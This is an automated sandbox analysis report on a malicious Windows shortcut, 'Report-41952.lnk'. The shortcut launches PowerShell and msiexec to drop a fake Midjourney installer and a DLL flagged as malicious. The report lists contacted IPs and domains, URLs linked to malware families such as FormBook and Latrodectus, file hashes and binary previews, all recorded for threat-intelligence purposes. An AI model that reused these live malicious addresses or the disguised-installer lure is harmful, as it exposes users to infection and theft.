45.155.37.103	9qiliikd3sp.life	Netherlands	395092	SHOCK-1US	false
65.108.214.195	736d0mvetjw.life	United States	11022	ALABANZA-BALTUS	false
193.242.145.138	unknown	unknown	44676	VMAGE-ASRU	true
84.32.84.32	nhdeapyfg7e.life	Lithuania	33922	NTT-LT-ASLT	false
185.36.140.112	spd22scperm.life	European Union	35368	AS-DBNETZDE	false
213.109.192.75	q7dfpyyhe08.life	unknown	34359	UA-LINK-ASUA	false
185.26.238.223	ameagxzo2f7.life	European Union	43350	NFORCENL	false
38.180.86.21	07zxfo0kere.life	United States	174	COGENT-174US	false
38.180.143.64	yan95akxgqt.life	United States	174	COGENT-174US	false
21.105.15.36	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
95.156.207.204	0cc2z8zrnhf.life	Spain	50129	TVHORADADAES	false
38.180.144.181	uyn0icgx1kv.life	United States	174	COGENT-174US	false
37.27.203.12	ygo9u1fkwux.life	Iran (ISLAMIC Republic Of)	39232	UNINETAZ	false
144.208.127.113	ibcm5at6qrz.life	United States	395092	SHOCK-1US	false

Private

IP
192.168.0.101
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524796
Start date and time:	2024-10-03 09:19:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Report-41952.lnk
Detection:	MAL
Classification:	mal92.troj.winLNK@9/23@101/18
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 4192 because it is empty
Not all processes where analyzed, report is missing behavior information
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Report-41952.lnk

Simulations

Behavior and APIs

Time	Type	Description
03:20:31	API Interceptor	43x Sleep call for process: powershell.exe modified
03:21:16	API Interceptor	88x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
84.32.84.32	Order.exe	Get hash	malicious	FormBook	Browse	www.servehimfoundation.org/wlo5/
	Quote #260924.exe	Get hash	malicious	FormBook	Browse	www.thepeatear.online/lu5k/
	Order 001-1.exe	Get hash	malicious	FormBook	Browse	www.servehimfoundation.org/wlo5/
	Product Data Specifications_PDF.exe	Get hash	malicious	FormBook	Browse	www.dfmagazine.shop/wc8m/?fRr0=tfAptZ&Z0=LNw/HBPP4tr5bvxS3kL5kO0L1X3Nhxx3YB7NlE9rWxPCxu7fGi7WEXTbZRsRhvhxvKZ1WqSKGQ11o+IxPCwZhMc0vkrsKf8OYx9AcoiAA17H2AQJPV0Zg3KmaIPVvP4iA0nhUXGrqtBT
	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	www.agilizeimob.app/zkp2/
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.dfmagazine.shop/7k8f/
	QlHhDu2uh1.exe	Get hash	malicious	FormBook	Browse	www.dfmagazine.shop/wc8m/?vlJ0J=LNw/HBPP4tr5bvxS3kL5kO0L1X3Nhxx3YB7NlE9rWxPCxu7fGi7WEXTbZRsRhvhxvKZ1WqSKGQ11o+IxPCwZhLN2h2DTK9csfh9AcreeAGSJ1TcJEV0fpWOmE9rV6P4iWQH1GQ0=&HDJP=Pnl8G6jPyrn
	PO23100072.exe	Get hash	malicious	FormBook	Browse	www.agilizeimob.app/we8s/
	notificacion_de_credito__PDF__.exe	Get hash	malicious	FormBook	Browse	www.thepeatear.online/929i/
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	www.bodegamayorista.online/8xob/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ALABANZA-BALTUS	35Mcl9DxHR.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
	l5pPoBu9i3.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
	caZq8MavwF.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
	72LZTFDM58.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
	ODzRw7AnvO.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
	12DF9V3Skv.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
	nGew45gzYE.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
	9Tf7kvYFQw.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
	7QTPsCeK4s.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
	Jf9CVL1erE.exe	Get hash	malicious	Unknown	Browse	65.109.226.176
HZ-NL-ASGB	CEjWMdiJnR.exe	Get hash	malicious	DanaBot	Browse	79.141.165.150
	8CRB0iJuy1.dll	Get hash	malicious	DanaBot	Browse	79.141.165.150
	CEjWMdiJnR.exe	Get hash	malicious	DanaBot	Browse	79.141.165.150
	8CRB0iJuy1.dll	Get hash	malicious	DanaBot	Browse	79.141.165.150
	http://linkangood.com/21ef897172770ca75d.js	Get hash	malicious	Unknown	Browse	5.149.254.180
	http://linkangood.com	Get hash	malicious	Unknown	Browse	5.149.254.210
	CapCut_MOD_APK_v11.2.0_(Pro_Unlocked).apk	Get hash	malicious	Unknown	Browse	5.149.249.226
	http://www3.searchglobal.online	Get hash	malicious	Unknown	Browse	5.149.249.217
	djbQWYUBov.exe	Get hash	malicious	RedLine	Browse	5.149.249.74
	https://www.nireos.com/hyperspectral-imaging/	Get hash	malicious	Unknown	Browse	5.149.254.180
SHOCK-1US	KeB00e9poi.msi	Get hash	malicious	Unknown	Browse	209.182.225.110
	4TLr2kKeuX.exe	Get hash	malicious	Unknown	Browse	209.182.225.110
	http://www.rollinrolloutreno.com/.ms7/dtr/stx/mmv/	Get hash	malicious	Phisher	Browse	217.195.154.8
	nvidia.dll	Get hash	malicious	Unknown	Browse	172.96.137.155
	i2RndFIwSG.lnk	Get hash	malicious	DcRat, PureLog Stealer, Remcos, zgRAT	Browse	209.182.224.88
	i2RndFIwSG.lnk	Get hash	malicious	PureLog Stealer	Browse	209.182.224.88
	for-nanotest.vbs	Get hash	malicious	Unknown	Browse	209.182.224.88
	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Get hash	malicious	FormBook	Browse	144.208.124.10
	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	144.208.124.10
	SHUYOU #U65b0#U6307#U4ee4 PO-2301010 03-07-2024.pdf.exe	Get hash	malicious	FormBook	Browse	208.123.119.169
OBLTEL-ASRU	Form_Ver-00-26-49.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.93.221.101
	vpn.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.93.221.101
	SecuriteInfo.com.FileRepMalware.3625.5069.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.93.221.101
	http://85.208.108.63/BST.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	185.93.221.101
	Form_Ver-13-59-03 (1).js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	185.93.221.101
	https://firebasestorage.googleapis.com/v0/b/namo-426715.appspot.com/o/PqA45bE7me%2FForm_Ver-11-58-52.js?alt=media&token=dc88189e-81de-49e9-879e-365bc76e3567	Get hash	malicious	BruteRatel, Latrodectus	Browse	185.93.221.101
	file.exe	Get hash	malicious	Unknown	Browse	185.93.221.124
	file.exe	Get hash	malicious	Unknown	Browse	185.93.221.124
	YyFpVacSIn.elf	Get hash	malicious	Mirai	Browse	89.255.75.194
	7BqLjHrbPu	Get hash	malicious	Mirai	Browse	89.255.75.189

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Installer\MSI40C1.tmp	kvSTBDMM3T.msi	Get hash	malicious	Unknown	Browse
	T-7750.732.msi	Get hash	malicious	Unknown	Browse
	T-7065.750.msi	Get hash	malicious	Unknown	Browse
	5949f8.msi	Get hash	malicious	Unknown	Browse
	NB4EASbynx.msi	Get hash	malicious	LummaC	Browse
	wxNXR3EdaH.msi	Get hash	malicious	LummaC	Browse
	6OiUEubyA8.msi	Get hash	malicious	Quasar	Browse
	Estimado_1546359641.155196.msi	Get hash	malicious	VMdetect	Browse

Created / dropped Files

C:\Config.Msi\423fe8.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	1381
Entropy (8bit):	5.746185917788284
Encrypted:	false
SSDEEP:	24:N2OgEcw/AOU6wPfcxEcYNAUc9lRpUYw3jhOFP61fwwu11cV9YDhiS4n/bw3joCXZ:N/ZwPOYATlb5w8P6xwwu1Y9YD8SEwVZ
MD5:	D3FCE8509EB20E18154EB6F2324A7930
SHA1:	D6C1DE4830CF03928A69F8D353B9FF0E451F00C0
SHA-256:	2B9315515B021EF5EF130DB4BE3C178F9DFC4CECF0F5FDBEAE635C7CB405DC07
SHA-512:	174C42FD0A9054C8C8BCDAB46F4ABBE0AF7FCE462A644F5DD283CD61E814D8C032FF583A9E6A95D1308D726028FEB3FCC77A2F71A3A7C39A654135E439ACB65B
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@..CY.@.....@.....@.....@.....@.....@......&.{E29C2A9E-997E-49AB-92C0-59583123ED29}..Midjourney..y.msi.@.....@.....@.....@......s1.exe..&.{9D88B303-3E62-4D29-9D8E-507E3918FF97}.....@.....@.....@.....@.......@.....@.....@.......@......Midjourney......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{AA852DA8-41F1-425B-B1B3-9D223347D55F}&.{E29C2A9E-997E-49AB-92C0-59583123ED29}.@......&.{8C90BD65-D160-4270-BDB5-8D1D2ABF3897}&.{E29C2A9E-997E-49AB-92C0-59583123ED29}.@......&.{CE24E85D-BC8F-407E-ABEB-C6F961299E2D}&.{E29C2A9E-997E-49AB-92C0-59583123ED29}.@........CreateFolders..Creating folders..Folder: [1]#.8.C:\Users\user\AppData\Roaming\Midjourney Inc\Midjourney\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]....C:\ProgramData\......C:\ProgramData\BDncqpUxZl.dll....CreateShortcuts..Creating shortcuts..Shortcut: [1]...._.C:\Users\user\AppData\Roaming\M

C:\ProgramData\BDncqpUxZl.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2162176
Entropy (8bit):	6.422879688553182
Encrypted:	false
SSDEEP:	49152:AgbA0SNOgGbH+/mrzAnO5oEshZHFTdgmH:v20gGjnrzAZEIZHzgmH
MD5:	40EE908EFF9418D1CBCB36EA516CA34E
SHA1:	E13E947F3CE59A2A58CE09C2D8888053D685FA44
SHA-256:	7DF703625EE06DB2786650B48FFEFB13FA1F0DAE41E521B861A16772E800C115
SHA-512:	EEDAE343BF53411AA9A64E0F6AE9EE1AC15B6CDC02D94894604974E5D0FFCAFC56F9DF9AFA368CAB38A017785E559D75BB9DEA95BFFC78088048CF3B1EC7D639
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 13%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........[...[...[...[...Z.....=.X...[...M.....Y......Z......Z...[.a.Z......Z...Rich[...........PE..d...&b.f.........." .........0 ......H.......................................P!...........`..........................................G.......H..(....0!.P.....!.,............@!......................................................................................text....M.......N.................. ..`.rotext..z...`...\|...R.............. ..`.rdata...j.......l..................@..@.data...\|....P.......:..............@....pdata..,.....!....... .............@..@.rodata...... !....... .............@..@.rsrc...P....0!....... .............@..@.reloc.......@!....... .............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0t2fnkw.044.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i3uazcf3.roa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Installer\{E29C2A9E-997E-49AB-92C0-59583123ED29}\s1.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 1 icon, -113x123, 24 bits/pixel
Category:	dropped
Size (bytes):	55658
Entropy (8bit):	2.5807289579548662
Encrypted:	false
SSDEEP:	384:A1lQ4f0ohhZ7h2DVGMh+V1rve87uQWrPNuA:WfsWQFUVN2W
MD5:	525D5CB116B910171A0958A8457CADA5
SHA1:	1647E7BCA516B6DE2A8F7F8110FF0982415C38F4
SHA-256:	C08F9F5EDA44F1637C58FE210D90664041A59716BABCF40B8B69670C79482271
SHA-512:	6762126E349712E4EBBA20FBBB9237068EB0681D391E726070120DD959E5EAD8929DE804A936131EB54C2B82CAD3DDCDE54733D7D7D59E9C61E8153B379DD041
Malicious:	false
Preview:	.......{......T.......(.......................`...`.............................................................................................................~.r.................................................................................................p.................................................................................................t............................................................................................................@..?..;.I...............................................................................g..=..?..A.B..@..=.B.y..............................................................................g..<..>..@.B..@..<.A.x..............................................................................l.@..>..@.B..@..=..>.q...............................................................................p.?..=..@..?.J.......B.B.B.B.@.O.......................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\2867298e7ac6986e.customDesusertions-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5361
Entropy (8bit):	3.4525463379169494
Encrypted:	false
SSDEEP:	48:RvVAv4lgKBzgmAib9lUWfSogZokgib9lKfSogZoQ1:RviQlXz8ib9IHeib9/Hb
MD5:	654C467DF2B88210AD1ED0ACC8E570F2
SHA1:	A38FBCF9298EF276650F1DF5016775C13AC0D401
SHA-256:	6A916A763B71C51EEC514A9304A2AA05D10E9764FD9E81C0753DD24C1F68E5B9
SHA-512:	E9D6CDE77FFDE649B65ACC0CC4C19403934915A10C4778B96AF6B0C92FA4F645A6569FA07169187E1BA4BBDFC7D5A7473039CF8DFD56815248CE8995806C304C
Malicious:	false
Preview:	...................................FL..................F.`.. ....0I.l.......d....k.d................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........DDj....mq.l.......d.....n.2.....CY.: .REPORT~1.LNK..R......EW.JCY.:...........................G..R.e.p.o.r.t.-.4.1.9.5.2...l.n.k.......U...............-.......T...........z..L.....C:\Users\user\Desktop\Report-41952.lnk..).C.:.\.U.s.e.r.s.\.a.b.c.1.\.P.i.c.t.u.r.e.s.\.S.c.r.e.e.n.s.h.o.t.s.\.s.1...i.c.o.........%SystemDrive%\Users\abc1\Pictures\Screenshots\s1.ico................................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.U.s.e.r.s.\.a.b.c.1.\.P.i.c.t.u.r.e.s.\.S.c.r.e.e.n.s.h.o.t.s.\.s.1...i.c.o............................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\9GZ6BKPPOHCLQ7QO684Y.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5361
Entropy (8bit):	3.4525463379169494
Encrypted:	false
SSDEEP:	48:RvVAv4lgKBzgmAib9lUWfSogZokgib9lKfSogZoQ1:RviQlXz8ib9IHeib9/Hb
MD5:	654C467DF2B88210AD1ED0ACC8E570F2
SHA1:	A38FBCF9298EF276650F1DF5016775C13AC0D401
SHA-256:	6A916A763B71C51EEC514A9304A2AA05D10E9764FD9E81C0753DD24C1F68E5B9
SHA-512:	E9D6CDE77FFDE649B65ACC0CC4C19403934915A10C4778B96AF6B0C92FA4F645A6569FA07169187E1BA4BBDFC7D5A7473039CF8DFD56815248CE8995806C304C
Malicious:	false
Preview:	...................................FL..................F.`.. ....0I.l.......d....k.d................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........DDj....mq.l.......d.....n.2.....CY.: .REPORT~1.LNK..R......EW.JCY.:...........................G..R.e.p.o.r.t.-.4.1.9.5.2...l.n.k.......U...............-.......T...........z..L.....C:\Users\user\Desktop\Report-41952.lnk..).C.:.\.U.s.e.r.s.\.a.b.c.1.\.P.i.c.t.u.r.e.s.\.S.c.r.e.e.n.s.h.o.t.s.\.s.1...i.c.o.........%SystemDrive%\Users\abc1\Pictures\Screenshots\s1.ico................................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.U.s.e.r.s.\.a.b.c.1.\.P.i.c.t.u.r.e.s.\.S.c.r.e.e.n.s.h.o.t.s.\.s.1...i.c.o............................................................................................................................................................

C:\Users\user\AppData\Roaming\y.msi

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Security: 0, Code page: 1252, Revision Number: {9D88B303-3E62-4D29-9D8E-507E3918FF97}, Number of Words: 10, Subject: Midjourney, Author: Midjourney Inc., Name of Creating Application: Midjourney, Template: ;1033, Comments: This installer database contains the logic and data required to install Midjourney., Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Wed Oct 2 17:46:18 2024, Last Saved Time/Date: Wed Oct 2 17:46:18 2024, Last Printed: Wed Oct 2 17:46:18 2024, Number of Pages: 450
Category:	dropped
Size (bytes):	2694144
Entropy (8bit):	7.435995780541938
Encrypted:	false
SSDEEP:	49152:qrE0kuqES58NtvUBJrM6WZrws4neyy/MikYHBoHOUGx:MkufFh6W5wvneyyUPgBi
MD5:	C962D866683BA35349A00A70E9C759B4
SHA1:	8527E1AB0068DF818D5BC991BCA0E12C442912C1
SHA-256:	C26344BFD07B871DD9F6BD7C71275216E18BE265E91E5D0800348E8AA06543F9
SHA-512:	E05E172DC1C0B5FECA7CA894D75790E1CEB1CF0F006D90EA6950041FADB14CEC9503B628A09584A3BCA21459618CC7ED7DD0B603572CDF5442391C74AF5A68FB
Malicious:	true
Preview:	......................>......................................................E.......a.......n.......................................................z.......-......................................................................................................................................................................................................................................................................................................................................................................................."...5............................................................................................... ...!...-...#...2...%...&...'...(...)......+...,.........../...0...1...6...3...4...=...?...7...8...9...:...;...<.......>.......@...A...B...C...D...........G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\423fe6.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Security: 0, Code page: 1252, Revision Number: {9D88B303-3E62-4D29-9D8E-507E3918FF97}, Number of Words: 10, Subject: Midjourney, Author: Midjourney Inc., Name of Creating Application: Midjourney, Template: ;1033, Comments: This installer database contains the logic and data required to install Midjourney., Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Wed Oct 2 17:46:18 2024, Last Saved Time/Date: Wed Oct 2 17:46:18 2024, Last Printed: Wed Oct 2 17:46:18 2024, Number of Pages: 450
Category:	dropped
Size (bytes):	2694144
Entropy (8bit):	7.435995780541938
Encrypted:	false
SSDEEP:	49152:qrE0kuqES58NtvUBJrM6WZrws4neyy/MikYHBoHOUGx:MkufFh6W5wvneyyUPgBi
MD5:	C962D866683BA35349A00A70E9C759B4
SHA1:	8527E1AB0068DF818D5BC991BCA0E12C442912C1
SHA-256:	C26344BFD07B871DD9F6BD7C71275216E18BE265E91E5D0800348E8AA06543F9
SHA-512:	E05E172DC1C0B5FECA7CA894D75790E1CEB1CF0F006D90EA6950041FADB14CEC9503B628A09584A3BCA21459618CC7ED7DD0B603572CDF5442391C74AF5A68FB
Malicious:	false
Preview:	......................>......................................................E.......a.......n.......................................................z.......-......................................................................................................................................................................................................................................................................................................................................................................................."...5............................................................................................... ...!...-...#...2...%...&...'...(...)......+...,.........../...0...1...6...3...4...=...?...7...8...9...:...;...<.......>.......@...A...B...C...D...........G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSI40C1.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	835688
Entropy (8bit):	6.599296297782833
Encrypted:	false
SSDEEP:	12288:3nre4I5heqAlr0TQG21EX4Ttph0lhSMXleTueml5P96jJtvU0:3ryDzAlr0ufTPh0lhSMXl0uN58NtvU0
MD5:	AA88D8F40A286B6D40DE0F3ABC836CFA
SHA1:	C24EAB9E4B10B159B589F4C3B64EF3DB111EA1C8
SHA-256:	8D633EFEDA1249356B11BF8F46583242356E4F903056B53BD25A99511D1790A1
SHA-512:	6C2F2F6A2D66015F30158962D653E381136F0F30023380A0CE95BD0944D856113FBDE65DB52DBB3B5DE1C0E2EDF2CD53184E721C64B916834BE4198C61224519
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: kvSTBDMM3T.msi, Detection: malicious, Browse Filename: T-7750.732.msi, Detection: malicious, Browse Filename: T-7065.750.msi, Detection: malicious, Browse Filename: 5949f8.msi, Detection: malicious, Browse Filename: NB4EASbynx.msi, Detection: malicious, Browse Filename: wxNXR3EdaH.msi, Detection: malicious, Browse Filename: 6OiUEubyA8.msi, Detection: malicious, Browse Filename: Estimado_1546359641.155196.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C......................................I.............................h..........)......A..........Rich...........PE..L....c`f.........."!...'.............K..............................................mZ....@A........................0...........,....0..................h:...@..........p...................@...........@............................................text...*........................... ..`.rdata...!......."..................@..@.data....'..........................@....rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI416E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	835688
Entropy (8bit):	6.599296297782833
Encrypted:	false
SSDEEP:	12288:3nre4I5heqAlr0TQG21EX4Ttph0lhSMXleTueml5P96jJtvU0:3ryDzAlr0ufTPh0lhSMXl0uN58NtvU0
MD5:	AA88D8F40A286B6D40DE0F3ABC836CFA
SHA1:	C24EAB9E4B10B159B589F4C3B64EF3DB111EA1C8
SHA-256:	8D633EFEDA1249356B11BF8F46583242356E4F903056B53BD25A99511D1790A1
SHA-512:	6C2F2F6A2D66015F30158962D653E381136F0F30023380A0CE95BD0944D856113FBDE65DB52DBB3B5DE1C0E2EDF2CD53184E721C64B916834BE4198C61224519
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C......................................I.............................h..........)......A..........Rich...........PE..L....c`f.........."!...'.............K..............................................mZ....@A........................0...........,....0..................h:...@..........p...................@...........@............................................text...*........................... ..`.rdata...!......."..................@..@.data....'..........................@....rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI419D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	835688
Entropy (8bit):	6.599296297782833
Encrypted:	false
SSDEEP:	12288:3nre4I5heqAlr0TQG21EX4Ttph0lhSMXleTueml5P96jJtvU0:3ryDzAlr0ufTPh0lhSMXl0uN58NtvU0
MD5:	AA88D8F40A286B6D40DE0F3ABC836CFA
SHA1:	C24EAB9E4B10B159B589F4C3B64EF3DB111EA1C8
SHA-256:	8D633EFEDA1249356B11BF8F46583242356E4F903056B53BD25A99511D1790A1
SHA-512:	6C2F2F6A2D66015F30158962D653E381136F0F30023380A0CE95BD0944D856113FBDE65DB52DBB3B5DE1C0E2EDF2CD53184E721C64B916834BE4198C61224519
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C......................................I.............................h..........)......A..........Rich...........PE..L....c`f.........."!...'.............K..............................................mZ....@A........................0...........,....0..................h:...@..........p...................@...........@............................................text...*........................... ..`.rdata...!......."..................@..@.data....'..........................@....rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI41BE.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	835688
Entropy (8bit):	6.599296297782833
Encrypted:	false
SSDEEP:	12288:3nre4I5heqAlr0TQG21EX4Ttph0lhSMXleTueml5P96jJtvU0:3ryDzAlr0ufTPh0lhSMXl0uN58NtvU0
MD5:	AA88D8F40A286B6D40DE0F3ABC836CFA
SHA1:	C24EAB9E4B10B159B589F4C3B64EF3DB111EA1C8
SHA-256:	8D633EFEDA1249356B11BF8F46583242356E4F903056B53BD25A99511D1790A1
SHA-512:	6C2F2F6A2D66015F30158962D653E381136F0F30023380A0CE95BD0944D856113FBDE65DB52DBB3B5DE1C0E2EDF2CD53184E721C64B916834BE4198C61224519
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C......................................I.............................h..........)......A..........Rich...........PE..L....c`f.........."!...'.............K..............................................mZ....@A........................0...........,....0..................h:...@..........p...................@...........@............................................text...*........................... ..`.rdata...!......."..................@..@.data....'..........................@....rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI420D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	835688
Entropy (8bit):	6.599296297782833
Encrypted:	false
SSDEEP:	12288:3nre4I5heqAlr0TQG21EX4Ttph0lhSMXleTueml5P96jJtvU0:3ryDzAlr0ufTPh0lhSMXl0uN58NtvU0
MD5:	AA88D8F40A286B6D40DE0F3ABC836CFA
SHA1:	C24EAB9E4B10B159B589F4C3B64EF3DB111EA1C8
SHA-256:	8D633EFEDA1249356B11BF8F46583242356E4F903056B53BD25A99511D1790A1
